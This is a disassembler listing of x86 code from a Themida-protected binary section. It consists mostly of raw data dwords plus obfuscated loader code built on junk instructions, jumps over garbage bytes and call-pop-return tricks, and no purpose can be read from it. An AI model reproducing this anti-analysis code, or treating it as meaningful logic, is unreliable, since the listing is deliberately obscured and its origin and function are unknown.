		dd 0B659F149h, 3256D5B6h, 0B20CB9D1h, 0BF376761h, 2AD66333h
		dd 0B8593DB7h, 3256AEB3h, 0BCEF7702h, 53192F42h, 3E1662BEh
		dd 3256F858h, 5ADA4DB1h, 528E5947h, 9DAD7930h, 82098C03h
		dd 0B979AEDEh, 32474269h, 510CD5B1h, 61C6121Fh,	12307A6Bh
		dd 0EBE8D295h, 60D86335h, 0E4D7C8D1h, 883069BDh, 3D3723C7h
		dd 0BB59B580h, 3256EAB7h, 3256F9BEh, 0B930BAB1h, 0CA0C3C7Bh
		dd 325722BEh, 31AF57B1h, 3AD6A472h, 3D56D5B1h, 3256E838h
		dd 0BB3715B1h, 20428333h, 3ADB52B7h, 3D56AEB1h,	32565530h
		dd 5337CBB1h, 3256D858h, 0D0A360B1h, 425F55Fh, 2DC2F06Fh
		dd 0DB95412Bh, 3256AEA1h, 0E7CBD67Ah, 7525949Eh, 0F9057AB3h
		dd 0D90C0988h, 0B9666051h, 0F2806938h, 0F526142h, 158Ah
		dd 0F830F00h, 0E9000000h, 0Ah, 0D84B634Dh, 64DFD878h, 0E8EA21h
		dd 5A000000h, 0CEE1EA81h, 0FFC0618h, 0A8Bh, 0C2B86000h
		dd 801E6EA7h, 5261E0DAh, 39828BF5h, 0E9061214h,	6, 0CDD1F8Dh
		dd 6DB9744Dh, 0E941C64Eh, 0Dh, 9ED84147h, 40C24B1Dh, 0A30A5F1Ch
		dd 0FE1F7F7h, 781h, 5E506000h, 61D0B70Fh, 6E95Ah, 9DE40000h
		dd 222DA9DAh, 303905h, 0A870F00h, 60000000h, 8D0Fh, 61600000h
		dd 0FFFF2561h, 12E97FFFh, 6D000000h, 40349AC7h,	2558671Eh
		dd 43ED76B8h, 0ED13409Fh, 9E93Eh, 0BBF10000h, 1D23061Dh
		dd 8917653Eh, 12143982h, 78F0F06h, 0F000000h, 18Dh, 0FC5AFC00h
		dd 10E959h, 9B020000h, 150C0578h, 84161AAEh, 1819A7BDh
		dd 0FCC3D27Ch, 0AE96051h, 0A0000000h, 3BC1E96Fh, 6E317B9Ch
		dd 8E9A7h, 0BC660000h, 48201A48h, 5261FF1Eh, 0D78060F5h
		dd 0E861B4h, 5A000000h,	0CFD5EA81h, 0FF80618h, 1083h, 0BE900h
		dd 12AC0000h, 5054464Fh, 64032B17h, 5E9C5h, 193D0000h
		dd 8BB51C76h, 0B1E8F9C8h, 0E9FFFFFEh, 9, 1514D235h, 0B4B1CE66h
		dd 0F5D23340h, 8BF9F1F7h, 0E95AF8C2h, 14h, 0AB454959h
		dd 0EA0DB52Fh, 3BA2E123h, 8CC7EF67h, 0A6EE70E9h, 12810F59h
		dd 0E9000000h, 0Dh, 93D35825h, 6948C144h, 2FDD286Ah, 11E977h
		dd 0EB370000h, 0B6B8E5DEh, 0F8613B94h, 83BD884Dh, 0C3B40D07h
		dd 14800Fh, 0FE90000h, 4C000000h, 8949F55Bh, 59C912CEh
		dd 89590FF3h, 8C0F08BEh, 1, 0FC08BF9h, 1989h, 0FE96000h
		dd 2C000000h, 1B1F9B37h, 3A779671h, 0EF2378D9h,	0BF0F2D63h
		dd 0C08B61F9h, 0AE860h,	0F8360000h, 568B19C8h, 162BDC72h
		dd 66596160h, 0D506F281h, 0DF8B6061h, 13E8h, 0FAA4E00h
		dd 0AA2D61B6h, 0F05199ECh, 0C50CD5A8h, 0F9C137A2h, 8D615BF9h
		dd 1896F285h, 14E906h, 1FA60000h, 0BF00F3BCh, 0B177B368h
		dd 0CE62AA03h, 9174EF5h, 0D0FFEB62h, 0C18B66F9h, 0BF0F5060h
		dd 800F5FC0h, 2, 8D615B52h, 18CEB685h, 8589FC06h, 61215F9h
		dd 19C88160h, 602D9EA9h, 8B66D18Bh, 0F6161CAh, 187h, 858DFC00h
		dd 618CFAAh, 0F38B6060h, 14E8h,	0B26A7B00h, 0B8EF922Fh
		dd 32967240h, 3DDAC975h, 0B5F35F1Bh, 0F615BE9h,	0F8Bh
		dd 9E800h, 5C250000h, 0BDBF3B9Ah, 5F5A7C60h, 0E5858961h
		dd 0E9061226h, 0Eh, 0AC1D99B0h,	6FB4F653h, 7BE89E3Dh, 0B8FDFDh
		dd 0E9000000h, 7, 19DBC189h, 0BE2D934h,	9D840FC0h, 0F8000001h
		dd 11E960h, 12730000h, 2CF574BCh, 0ACE78B98h, 6FE55FBDh
		dd 0E85063E4h, 0Eh, 6FEC608h, 7C3611CEh, 3F71ED0h, 9E82C50h
		dd 6000000h, 624131A4h,	7D782333h, 0C6615B5Bh, 1215C185h
		dd 0FFC5606h, 18Ch, 0DF68FC00h,	0F5A9C530h, 3101B5FFh
		dd 860F0612h, 15h, 0BE960h, 5CC60000h, 88612B0Dh, 3B80E621h
		dd 8FD2808Dh, 0EE961h, 0AB640000h, 1D31A8ECh, 2DBE5474h
		dd 168B59B1h, 827A858Dh, 12E90615h, 0B4000000h,	95E3C92Ch
		dd 0D659F2ECh, 69689537h, 5D92254Ah, 0D0FFFC70h, 88B0Fh
		dd 0B3600000h, 0BBE66ABh, 0F506188h, 184h, 8D8DF500h, 612293Dh
		dd 1850Fh, 0FFC0000h, 158Eh, 0F840F00h,	0E9000000h, 0Ah
		dd 0C64727A2h, 46EB5FC3h, 60510678h, 46A61F5h, 8C0F5660h
		dd 0
; ---------------------------------------------------------------------------
		pop	edx
		mov	cl, 99h
		popa
		jns	loc_5E8D7B
		clc


loc_5E8D7B:				; CODE XREF: Themida_:005E8D74j
		push	1000h
		jmp	loc_5E8D94
; ---------------------------------------------------------------------------
		db 8Eh,	0D5h, 12h
		dd 50B68C3Eh, 0AC38319h, 4AF45A2Fh
; ---------------------------------------------------------------------------


loc_5E8D94:				; CODE XREF: Themida_:005E8D80j
		pusha
		sub	ecx, 1D4B80B5h
		push	eax
		jmp	loc_5E8DB2
; ---------------------------------------------------------------------------
		db 0E5h, 1Eh, 0F2h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2Bh,	8Fh, 5Eh
		dd 0A6761313h, 9DCEDA30h
; ---------------------------------------------------------------------------
		or	al, 8Dh


loc_5E8DB2:				; CODE XREF: Themida_:005E8D9Cj
		pop	ecx
		popa
		push	dword ptr [ebp+6122461h]
		clc
		jmp	loc_5E8DD2
; ---------------------------------------------------------------------------
		dd 21B46085h, 0C3EDF65Ah, 0ACA12CCCh, 8310D1F7h
		db 28h,	3Ch
; ---------------------------------------------------------------------------


loc_5E8DD2:				; CODE XREF: Themida_:005E8DBBj
		call	eax
		pusha
		mov	dh, bh
		popa
		mov	edi, [ebp+6122461h]
		jz	loc_5E8DED
		pusha
		mov	edx, ecx
		mov	edx, 5B9F8C7Eh
		popa


loc_5E8DED:				; CODE XREF: Themida_:005E8DDEj
		add	edi, [edi+3Ch]
		stc
		add	edi, 0F8h
		jge	loc_5E8E12
		pusha
		or	si, 0BAECh
		call	sub_5E8E10
		sahf
		mov	dh, 0E2h
		mov	cl, 80h
		fcom	st(1)
; ---------------------------------------------------------------------------
		db 8Fh

; =============== S U B	R O U T	I N E =======================================



sub_5E8E10	proc near		; CODE XREF: Themida_:005E8E03p
		pop	esi
		popa


loc_5E8E12:				; CODE XREF: Themida_:005E8DF7j
		mov	dword ptr [edi+24h], 60000020h
		pusha
		cld
		popa
		lea	ebx, [ebp+6120849h]
		jmp	loc_5E8E39
; ---------------------------------------------------------------------------
		add	edx, [esi]
		jnb	short loc_5E8E37
		mov	edi, ebx
		and	al, 0E5h
		inc	esi
		retn	0BFADh
; ---------------------------------------------------------------------------
		aas
		retn
; ---------------------------------------------------------------------------
		pushfw


loc_5E8E37:				; CODE XREF: sub_5E8E10+19j
		mov	ah, 8Dh


loc_5E8E39:				; CODE XREF: sub_5E8E10+12j
		mov	eax, [ebx]
		jmp	loc_5E8E49
; ---------------------------------------------------------------------------
		dd 88C5858h, 0DFDAC3D3h
		db 0F6h
; ---------------------------------------------------------------------------


loc_5E8E49:				; CODE XREF: sub_5E8E10+2Bj
		or	eax, eax
		jz	loc_5E8E88
		cmc
		mov	eax, [eax]
		jmp	loc_5E8E6C
; ---------------------------------------------------------------------------
		adc	eax, 242AFA98h
		push	5
		xlat	byte ptr es:[ebx]
		db	67h
		retf
; ---------------------------------------------------------------------------
		cmp	eax, 0D137B2C2h
		rcr	byte ptr [ebp+36h], 1


loc_5E8E6C:				; CODE XREF: sub_5E8E10+44j
		mov	[ebx+4], eax
		jmp	loc_5E8E88
; ---------------------------------------------------------------------------
		dd 863A02E8h, 0D64CB7F0h, 1A0EA74Ch, 6E6BADF6h,	0BC7758F9h
; ---------------------------------------------------------------------------


loc_5E8E88:				; CODE XREF: sub_5E8E10+3Bj
					; sub_5E8E10+5Fj
		mov	ecx, 234CF6h
		call	sub_5E8EA5
		inc	esp
		repne add esi, 0A0DA9AD5h
		pop	edx
		scasd
		pop	ebx
		dec	esi
		popf
		mov	word ptr [edi-6], ds
		xchg	ecx, eax
		push	cs
sub_5E8E10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5E8EA5	proc near		; CODE XREF: sub_5E8E10+7Dp
		jmp	near ptr sub_5E8EB5
sub_5E8EA5	endp

; ---------------------------------------------------------------------------
		dw 8486h
		dd 0F397C1ADh, 63FDF98Dh
		db 7Bh

; =============== S U B	R O U T	I N E =======================================



sub_5E8EB5	proc far		; CODE XREF: sub_5E8EA5j
		pop	edx
		mov	cx, 2DE4h
		add	edx, 71BEh
		push	eax
		jmp	loc_5E8EDA
; ---------------------------------------------------------------------------
		dw 9019h
; ---------------------------------------------------------------------------
		retf	8C4h
; ---------------------------------------------------------------------------
		db 0FBh
		dd 3BCBE583h, 9BAB312Eh, 8DB13963h
; ---------------------------------------------------------------------------
		fild	word ptr [ebx]


loc_5E8EDA:				; CODE XREF: sub_5E8EB5+Cj
		pop	ebx
		mov	eax, 1C43h
		pusha
		mov	ebx, 75AC7E08h
		push	eax
		pop	esi
		popa


loc_5E8EE9:				; CODE XREF: sub_5E8F22+1Fj
		push	dword ptr [edx]
		jge	loc_5E8EF5
		mov	cx, 1643h


loc_5E8EF5:				; CODE XREF: sub_5E8EB5+36j
		pop	esi
		jg	$+6
		xor	esi, 3F0C9CF5h
		mov	cx, di
		add	esi, 54318870h
		call	sub_5E8F22
		sbb	al, bl
		push	ebx
		lahf
		nop
		adc	[eax], cl
		ja	short near ptr loc_5E8F80+5
		or	dl, dl
		retn
sub_5E8EB5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 49h,	0F7h, 0C4h
; ---------------------------------------------------------------------------
		scas	byte ptr es:[di]

; =============== S U B	R O U T	I N E =======================================



sub_5E8F22	proc near		; CODE XREF: sub_5E8EB5+56p
		pusha
		cmc
		mov	al, 0DAh
		popa
		pop	ebx
		xor	esi, 1D5A139Ah
		mov	edi, 0A7BDB97h
		push	esi
		movzx	ecx, di
		pop	dword ptr [edx]
		stc
		sub	edx, 4
		mov	di, ax
		dec	eax
		jnz	loc_5E8EE9
		cmc
		lea	ecx, [ebp+618D513h]
		mov	edi, [ebp+612255Dh]
		mov	[ebp+6122DCDh],	ecx
		or	[ebp+61211F5h],	eax
		mov	ebx, [ebp+61227C5h]
		mov	dword ptr [ebp+61231BDh], 6D48h
		push	0
		push	ebx
		call	sub_5E8F7B
		and	[ebx-3Dh], bl
sub_5E8F22	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5E8F7B	proc near		; CODE XREF: sub_5E8F22+51p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx


loc_5E8F80:				; CODE XREF: sub_5E8EB5+62j
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5E8F7B	endp

; ---------------------------------------------------------------------------
		db 0EEh
		dd 0F12AA9D1h, 0F08166A1h, 85C7045Eh, 6120011h,	0
; ---------------------------------------------------------------------------
		mov	dx, si
		mov	edx, [ebp+6121BB5h]
		push	dword ptr [ebp+6120841h]
		push	0
		push	edx
		call	sub_5E8FBA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E8FBA	proc near		; CODE XREF: Themida_:005E8FB2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5E8FBA	endp

; ---------------------------------------------------------------------------
		fld	dword ptr [ecx]
		push	ecx
		enter	4B28h, 0EFh
		sbb	ecx, [ebx-1E42F63Dh]
		sub	[edx], edx
		push	es
		call	dword ptr [ebp+6122781h]
		sub	eax, [ebp+6123041h]
		push	0
		call	dword ptr [ebp+61229D1h]
		mov	eax, eax
		jmp	short loc_5E900C
; ---------------------------------------------------------------------------
		dw 2DD9h
		dd 839FFCD2h, 356D2B29h, 2CA65AF1h, 39B54323h, 7F84B43h
		dd 642B7AE8h
; ---------------------------------------------------------------------------


loc_5E900C:				; CODE XREF: Themida_:005E8FF0j
		lea	ecx, [ebp+618D617h]
		push	0
		push	eax
		call	sub_5E901D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E901D	proc near		; CODE XREF: Themida_:005E9015p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5E901D	endp

; ---------------------------------------------------------------------------
		db 72h,	1Fh, 0A8h
; ---------------------------------------------------------------------------
		mov	dl, [ebp+25h]
		xchg	eax, ebx
		mov	dh, 60h
		jmp	loc_5E9049
; ---------------------------------------------------------------------------
		db 7
		dd 2BADB633h, 0A4B55441h, 4C12631Eh
		db 23h
; ---------------------------------------------------------------------------


loc_5E9049:				; CODE XREF: Themida_:005E9036j
		mov	si, 3B00h
		popa
		mov	ax, si
		mov	[ebp+6122DCDh],	ecx
		push	0
		push	ebx
		call	sub_5E9062
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E9062	proc near		; CODE XREF: Themida_:005E905Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5E9062	endp

; ---------------------------------------------------------------------------
		dw 903Ah
		dd 0BB1FBF65h, 85C77240h, 61231BDh, 5910h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 84C35141h, 519D3138h
		dd 0C7061215h, 12001185h, 6, 0C6B70F00h, 29A5B5FFh, 0BD8B0612h
		dd 6122141h, 278195FFh,	7E90612h, 0EB000000h, 0CD89967Bh
		dd 13E9C3C0h, 0DA000000h, 0EF30C15Ch, 9BA281B6h, 953B28D8h
		dd 0AA3F9094h, 6AE086h,	29D195FFh, 0C08B0612h, 0C7475CEBh
		dd 0F4541A94h, 0C4CFE29Ch, 0DB40177Fh, 0E84F748Eh, 2A75BDF2h
		dd 6E3A9AB5h, 0A3DFED5Ah, 0A666FD3Ah, 0FE3D8F60h, 0F1214DB3h
		dd 9028676Eh, 773B92E3h, 9BD8B4C9h, 0A647475Eh,	9E634A77h
		dd 0E8F1D336h, 0C32629B4h, 0C172EDFFh, 157E25EEh, 0B9188CC8h
		dd 23CCE8B9h, 0CF5C2823h, 2CE9B41Eh, 33000000h,	1322C0h
		dd 9 dup(0)
		dd 0E9000000h, 0B8Dh, 18D80A68h, 70E8E906h, 3168FFFAh
		dd 0E90618D9h, 0FFFA70DEh, 18DAEB68h, 70D4E906h, 1168FFFAh
		dd 0E90618DCh, 0FFFA70CAh, 18DE0F68h, 70C0E906h, 0C768FFFAh
		dd 0E90618DFh, 0FFFA70B6h, 18E0B468h, 70ACE906h, 0A421FFFAh
		dd 0D458FE44h, 1292387Eh, 49C86EB4h, 7EFFA5EBh,	49EDC22h
		dd 95DB35B6h, 0CE146CEFh, 0A50A628h, 4A90E664h,	0B0438713h
		dd 3A21F8E4h, 331995E9h, 666D59AFh, 6421F8E4h, 15B798FAh
		dd 0A0AE4197h, 3FA0C422h, 0E22676B0h, 58B03317h, 607EA406h
		dd 0B4F7349h, 21F265FDh, 9360A420h, 57DE0E7Bh, 0FC668BEDh
		dd 1472F2D8h, 671E190Bh, 0F557D4DAh, 75C91682h,	9527DE0Eh
		dd 0AFAA26D2h, 39885AF7h, 0EF000000h, 83E40C9Dh, 13EB8F75h
		dd 37BCA86Fh, 0B327E0FCh, 8FD3F749h, 21F2DD09h,	0C13D61CBh
		dd 0E9F767Dh, 0A80A74DEh, 9F3EC935h, 48DADE0Eh,	4D57D367h
		dd 0AB335AF7h, 9A000000h, 0AE419715h, 36C91FA0h, 0B94CAA28h
		dd 85CB2DABh, 0E036B881h, 1D7BF927h, 349413F9h,	8806ACD2h
		dd 94159B2Eh, 0A88E0A2Eh, 0A26ED026h, 0DE0DC560h, 0FC1A60CAh
		dd 0FD5BDBADh, 0BD4387ABh, 3FD8196Eh, 4ACBB1D5h, 86D82EB2h
		dd 0BF199A40h, 0B1926A66h, 180508F5h, 97Eh, 0E42A8E0Bh
		dd 1E64BA3Eh, 549AF878h, 93D92FAEh, 0CE146CEDh,	2BAC1290h
		dd 66E98FD5h, 0A022C80Eh, 0DC5A0046h, 71FD347Ah, 0F8EAA62Dh
		dd 0A2D32421h, 183C9415h, 17DC209Ch, 0D327E032h, 32767D69h
		dd 0A7427E0h, 5EDC82A8h, 7DFEE408h, 5CBE9023h, 997F1D36h
		dd 5599BD1Bh, 27E0328Eh, 9A80E24Ch, 2889AD0Fh, 948DAC31h
		dd 0EE22EAEFh, 0A92DAEB7h, 8ED2D638h, 21F23E08h, 0D82B6FEBh
		dd 22DE0E3Eh, 0C73156B8h, 26AA9034h, 96B3DD0h, 0E3EB23Dh
		dd 0FBBC4EDEh, 0F7EED34Fh, 0D1AF5Ah, 15160000h,	2F850597h
		dd 0BB3C4ADDh, 0DC5B4165h, 0B517E97Ch, 36C7D642h, 0D04E27E0h
		dd 0EF43076h, 0CD9F328Ch, 297FFD6Bh, 6C991096h,	7E45FF71h
		dd 4165B7EEh, 0D6BC7FDh, 75BB25DEh, 4C705257h, 19DC0708h
		dd 4AB314D8h, 4182861h,	5E49D366h, 0CEBE8D55h, 9466F94Fh
		dd 15BBE042h, 29AD3B91h, 775D81D3h, 18549AF6h, 2B1DB5B7h
		dd 4FD5DD8Fh, 0E83611DBh, 9D1FADFFh, 7CDEB043h,	0DA338D0Eh
		dd 0F5B03DC4h, 579A878Ah, 0E4000008h, 25CB1167h, 5F054BA1h
		dd 9D4389DFh, 0DA80C61Eh, 7BB9FF59h, 0B6129327h, 0F147CA70h
		dd 2D8305ABh, 65C341E7h, 185CE81Fh, 21F8EBCBh, 158DBE0Fh
		dd 50F63C94h, 0F22E74D2h, 78F6880Ch, 2B39CC1Eh,	0ECBE51A7h
		dd 7F57389Ah, 5BBD1B99h, 76626FEDh, 5BCD2CDDh, 2C9C72A1h
		dd 7ED08145h, 79F5992Ch, 0E0D0AE35h, 60C22C27h,	0CC1274F2h
		dd 6E12FBAEh, 3D830423h, 0D014388Ah, 21F245C6h,	79871A84h
		dd 0FD799DFBh, 0E062AB9h, 468DD1DEh, 84DE0E06h,	96BD51Ah
		dd 40C1A7E3h, 8284DFE8h, 0F08D655Ah, 44A2208Eh,	7E2BF20h
		dd 5E460078h, 98A12634h, 0FA5CCAF9h, 5CED1B87h,	0D5495948h
		dd 7F126EEFh, 4E314BADh, 0D858F270h, 8715E77Ah,	4618AB05h
		dd 8A08AEF4h, 0C6186EF0h, 1839C733h, 81A35548h,	0E442C0BEh
		dd 0E07AF89Eh, 0A0E4085Eh, 55481853h, 48DB2D97h, 0B7E7EEDCh
		dd 5E2123AAh, 0F90A4ECAh, 1554818h, 49C73597h, 8503A9EFh
		dd 9F0A9023h, 397DF91Dh, 554818AAh, 6064C630h, 5A35821Ch
		dd 0B0F66053h, 81A51792h, 67C05B3Dh, 0D1543A4Dh, 0B416E87Bh
		dd 2692258Fh, 4163DFD8h, 54D6BC38h, 339567FAh, 26A25619h
		dd 4EE620Ah, 419h, 0B0CCAD6Bh, 3E9FC3F9h, 1C67F4F3h, 33379969h
		dd 0F20C21EFh, 0FE39A321h, 14C149AAh, 3530289Fh, 7CB807D3h
		dd 30795F00h, 0D422668Ah, 16592DC9h, 8F7519ACh,	4D1FB20Eh
		dd 1EA405EBh, 0FC1D7EFAh, 0BEF5B25Dh, 0FF521E80h, 0BF53386Dh
		dd 0CD4B3155h, 688E5599h, 0E24C4B58h, 26A44A90h, 8C6F77D0h
		dd 0AAAD6AD0h, 69DBDh, 4BAD2A00h, 85DB5F05h, 0BB19993Fh
		dd 0F850CF75h, 358B0CB2h, 0CDF1B1EFh, 8AEF44Ch,	43E92F85h
		dd 7B2167C1h, 1E559BFDh, 0E8854E92h, 0F44521F8h, 0B60C9DC3h
		dd 1B404E92h, 980221F2h, 0F87B6105h, 3E90E664h,	977D9ABh
		dd 23092D8Bh, 0E1B346A2h, 0C5890C7Fh, 0A7095FDFh, 4D5CAA8Dh
		dd 5BD75377h, 0DE4CC17h, 0EB41C5DEh, 0EDA3CA6h,	0D81FCD00h
		dd 4E3458C2h, 0FE174CAh, 63E187ADh, 8180E105h, 162BDD1Ch
		dd 0BB559EE2h, 2B95D43Bh, 0F60477D9h, 14FA1E78h, 0D5A73A90h
		dd 1230073h, 0EA2EAA3Eh, 0D43BBB19h, 0BB35BE02h, 4BB5D43Bh
		dd 0CC3A9C06h, 0E43ABC4Eh, 0E72D7F51h, 0F147C5ABh, 2385E363h
		dd 0A7183FFh, 2E75F61h,	7FC60000h, 27BA1A99h, 9C0DF355h
		dd 25860226h, 0FD7EB5BDh, 353E10A3h, 72D469BBh,	0F857D8A6h
		dd 7BBF3B21h, 0DE07EF68h, 81A60872h, 8C0DF317h,	0C748EE34h
		dd 0E9674D71h, 4EBA2D8Fh, 21F8107Eh, 0D14D79F7h, 7EF468Dh
		dd 2E1A84DEh, 0DE07EFA5h, 1069BB25h, 0FF8F0BEAh, 774C393Ch
		dd 4000005h, 45EB3187h,	7F256BC1h, 0BD63A9FFh, 0FAA0E63Eh
		dd 9BD91F79h, 0D632B307h, 1167EA90h, 4DA325CBh,	85E36107h
		dd 387C083Fh, 21F8EEABh, 9DADDE2Fh, 1715FF0Ch, 0D30A464Bh
		dd 0A0986BAFh, 0F86227E0h, 0C20682A6h, 27E0A331h, 0E9ED4FB9h
		dd 26ADF16Dh, 0A427E0A3h, 0D42AAC3Ah, 410D6F41h, 21F87537h
		dd 0DC6EF0D6h, 51B3055Bh, 212FC22Ch, 0EADB8EA3h, 454EA82Ah
		dd 5059B0DCh, 0CFF8C466h, 0AEF446A3h, 992C8A08h, 18AB0D8Bh
		dd 6FB32F3Bh, 0DE070364h, 94D8FC66h, 0DE07034Fh, 0A5BF218Bh
		dd 96DA56C2h, 0DE07034Dh, 0DA6DC344h, 0F759C308h, 67AD0B89h
		dd 0FEC98F0Bh, 0D66DCE5Ah, 85ECA823h, 0C6A00769h, 0E4000001h
		dd 24DF2468h, 0F83CDE07h, 0DE0724EBh, 0D64085EFh, 97159374h
		dd 22A0AE41h, 5C427EC4h, 3D2385DBh, 0EE32566Ch,	21F21DE0h
		dd 79E578E2h, 0DE0DE36Eh, 8337F88Ah, 5AF82607h,	34E3h
		dd 0C9D4A00h, 0C84E92B6h, 8A21F213h, 0D6218D20h, 32DE0DECh
		dd 0CF4BDFA0h, 0DEC788Bh, 0B61882DEh, 0F81D1692h, 0EF71575Ah
		dd 0A6340699h, 168CA24h, 102h, 21E7F68h, 10EC583Dh, 1B990769h
		dd 0A862ABDh, 0E0B93DC6h, 9817BD27h, 1E8CEE40h,	0A2B0439Dh
		dd 229EC224h, 0E0B915DEh, 0B3098C27h, 9F094E20h, 3EBCCA3Dh
		dd 7663C4E8h, 0D7602C33h, 61658BEDh, 27E00C58h,	89DF5D43h
		dd 0B3BB927h, 0A05CC2AAh, 0B19D4D88h, 27E06222h, 0C8EC3EA8h
		dd 7E36B867h, 155953FEh, 27E08FCEh, 0C250A20Ch,	5F85E741h
		dd 2E526841h, 28B51B2h,	5CF49A65h, 50E8587h, 7ADC0753h
		dd 0F41257AEh, 0D4523821h, 0D2975CA0h, 0E953DE0Bh, 0A6103597h
		dd 0C51B9C82h, 0E97C40A1h, 6844AFF2h, 0B8ADF24h, 5FB11BDEh
		dd 64F74DD1h, 640A3092h, 0A9B6D6E3h, 0E3F95A6Ch, 0B443891h
		dd 0FBFEFF83h, 3790Eh, 2F890600h, 69BF43E9h, 0A7FD7D23h
		dd 0DC3CBB61h, 196FF096h, 0B10D95D3h, 0EC92D830h, 27CD1369h
		dd 5F054BA5h, 0A4187E1h, 0ECA93A7Eh, 0E03121F8h, 3C9415AFh
		dd 74D250F6h, 9715152Eh, 22A0AE41h, 49607EC4h, 0C7A8B937h
		dd 24E69746h, 808E2173h, 4416A9FFh, 7CA0F2h, 0AE41971Ah
		dd 70AE7ADCh, 0F221F298h, 7C89F588h, 66DE0E68h,	94156344h
		dd 0A88E0A2Eh, 0A16DCF25h, 0D81C4507h, 9E65A9E5h, 5CD43C1Fh
		dd 8AE064F2h, 8DD325F7h, 41971574h, 0D22A0AEh, 0E327502Ch
		dd 27E00110h, 0FE6770DAh, 78727BC7h, 0D6F05619h, 0A7C50B5Dh
		dd 589CC002h, 21F2548Eh, 0E34FE24Ch, 0DE0E2814h, 0E99D62F4h
		dd 5AF7DC6Dh, 0F92D4BACh, 2ED119B3h, 4165CCh, 9DCC0000h
		dd 9DFB7A0Ch, 0BE41274Bh, 0BC000466h, 21F2137Ah, 0FD5BB819h
		dd 57B4C203h, 0D0AFD0F5h, 51E4A631h, 9AFB1F71h,	0C421B47Dh
		dd 7CEF514Ch, 0D82C710h, 0A88F21DEh, 0F84AA01Ch, 0F77E5Ah
		dd 15E50000h, 896E8A97h, 8F98F06Fh, 0EA3C3DEFh,	70C84957h
		dd 0F751CFDDh, 7ED85664h, 3C80FC38h, 27E093B7h,	0B637E06Fh
		dd 62A7C66Ah, 0F3CA96F8h, 0AC27E0FFh, 30B446C6h, 237547DAh
		dd 73D553C1h, 0AF09872Dh, 0CB21A58Bh, 91046638h, 62E09E0Bh
		dd 57EA48C8h, 0CEA03385h, 7214587Ch, 0C021F2F4h, 0B7F21056h
		dd 387F294Eh, 0FCCE61B7h, 0EC965FF3h, 0D532769Ah, 95D81A96h
		dd 0A021072Bh, 69C32448h, 652F07CCh, 0BE648AECh, 6CD113Dh
		dd 0E5D439AAh, 39AA52A1h, 0E92E98D4h, 166EF17Fh, 4E3D6BC4h
		dd 0C0C3F5B1h, 1C1D3h, 77D14E00h, 0B1078B31h, 0EF45C56Bh
		dd 248403A9h, 61B738DEh, 0F9C5DD1Bh, 34DA2078h,	6F155BB1h
		dd 0A74D93EDh, 5289CF29h, 0ED7182C6h, 287921F8h, 16997FF7h
		dd 6DEE5CBEh, 0A927CD13h, 6BAF2B4Fh, 27E03298h,	0CDB43F83h
		dd 0CC36D81Fh, 95BB1D87h, 0B60C9D7Ch, 13C84E92h, 208A21F2h
		dd 0ECD6218Dh, 0A032DE0Dh, 1CAF2BDFh, 72EE5AF8h, 0DE0A52Eh
		dd 59BB25DEh, 0B5F2h, 97155900h, 6EF08405h, 6133C618h
		dd 0F2D87C0Fh, 7861472h, 60E14FB1h, 30097508h, 8127E036h
		dd 2081A503h, 699F69CFh, 6E94F687h, 59EC4AC8h, 5B2DD6D3h
		dd 67AC2DFAh, 14A7FD7Dh, 7A9EF042h, 0DF61036h, 3278E2DEh
		dd 0B2F9514h, 0B74AA225h, 0F104CF13h, 5CC6DE0Dh, 60A4A80Ah
		dd 0D8195B86h, 0F0D6FA64h, 2DD3196Fh, 93FB54ACh, 19F5B1CEh
		dd 0D42916h, 0E4610000h, 14983E84h, 52D278BEh, 8908AEF4h
		dd 0BE3FE52Bh, 0C4DE1C62h, 0D51B75F6h, 0E54AC2Fh, 4A90E668h
		dd 8AD026A4h, 7083C753h, 7A21F8D2h, 9415F829h, 0D4BAF63Ch
		dd 9668FB51h, 0EE48C634h, 1E7F8FA8h, 9E1FA8Dh, 0CE3C9E9Ch
		dd 5563F650h, 0FF3B81D7h, 0A73A9A19h, 1C8D73D5h, 0CC3E82A6h
		dd 0AE21F81Bh, 910DB144h, 81A864Dh, 1A9E44DEh, 0A21072C4h
		dd 0B89EC224h, 577DDF35h, 42D533B1h, 15DE229Eh,	8CDE081Ah
		dd 5172B70Dh, 0F6826CECh, 6FD123D8h, 322CA3A3h,	5A1DA7CBh
		dd 33D9E664h, 3F18ED4Ah, 670D53A5h, 856B8FE9h, 98F07103h
		dd 7FE1B346h, 297FFE0Ch, 76391396h, 0E779FCE2h,	0A5770A66h
		dd 583F153h, 39B75DA3h,	35F4CDFh, 96000000h, 98151A8Bh
		dd 219FAD40h, 0A42634C7h, 26A9B74Ah, 0AC2D3BCEh, 32B3C154h
		dd 0B63543D6h, 3DBDCB5Eh, 0C24654E7h, 5622D96Ch, 0C681E689h
		dd 4, 5604EE83h, 42474FFh, 24048F5Eh, 66D5685Ch, 3C890000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	618D6F4h
		mov	edi, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, edi
		mov	[ebp+8], edx
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	edi, [esp]
		push	edx
		mov	edx, esp
